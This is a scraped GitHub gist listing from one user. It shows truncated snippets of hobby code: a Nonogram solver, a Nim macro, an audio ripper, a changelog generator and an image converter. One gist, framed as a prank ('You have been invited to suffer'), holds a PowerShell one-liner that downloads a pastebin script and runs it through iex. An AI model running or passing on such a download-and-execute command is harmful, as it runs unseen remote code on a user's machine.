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Find the sum of all 64-bit ints with hamming weight 3.
import math;x,y=64,3;math.comb(x-1,y-1)*(2**x-1)
@Bejofo
Bejofo / apply.nim
Last active March 18, 2023 04:07
Argument unpacking marco for Nim
import macros
import std/strformat
from std/strutils import join
macro apply(n: typed, paramsToApply:seq|tuple): untyped =
let formal_params = getImpl(n.symbol)[3]
var variable_count:int = 0
for node in formal_params:
if node.kind == nnkIdentDefs:
@Bejofo
Bejofo / nono.py
Created March 12, 2023 18:47
Nonogram solver.
import numpy as np
import math
import itertools
import pprint
BOARDSIZE = 10
def idx_to_cord(x):
return (x-1)//BOARDSIZE,(x-1)%BOARDSIZE
# return math.divmod(x-1,5)
# script for ripping audio out of gamemaker audiogroup
in_file = open("./audiogroup1.dat", "rb") # opening for [r]eading as [b]inary
data = in_file.read()
start = data.find(b"OggS")-4 # not exactly reliable
idx = 0
while True:
size = int.from_bytes(data[start:start+4],'little')
f = data[start+4:start+4+size]
print(f"test{idx}.ogg - size:{size}")
with open(f"./test{idx}.ogg","wb") as new_file:
@Bejofo
Bejofo / cddachangelog.py
Last active January 8, 2022 17:27
generate changelogs for cdda
import requests
from datetime import datetime
import urllib
from concurrent.futures.thread import ThreadPoolExecutor
from concurrent.futures import as_completed
# If you don't have a github api key, you are likely to be rate limited.
# get one here https://github.com/settings/tokens
# should look like this ghp_cCx5F6xTSn07hbSRxZW2pbFsNFyiQPCx5K19
@Bejofo
Bejofo / pngTo2BPP.py
Last active January 8, 2022 17:27
Convert a png image into into 2BPP format, useful for Gameboy development .
import skimage.io
import numpy as np
from skimage.color import rgb2gray
im = 255-skimage.io.imread("YOUR_IMAGE_HERE")
im = rgb2gray(im)
im_mono = np.zeros_like(im)
im_mono[im < 0.25] = 0
This file has been truncated, but you can view the full file.
{"data": [[[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
@Bejofo
Bejofo / this_is_epic.ps1
Created February 28, 2019 12:29
You have been invited to suffer
(iwr https://pastebin.com/raw/0QFqkkQP).Content | iex
class tile{
constructor(){
this.terrain = terrain;
this.prop = prop;
this.entity = entity;
this.items = items; // Array
}
get glyph(){
if(this.entity !== null){
return this.entity.glyph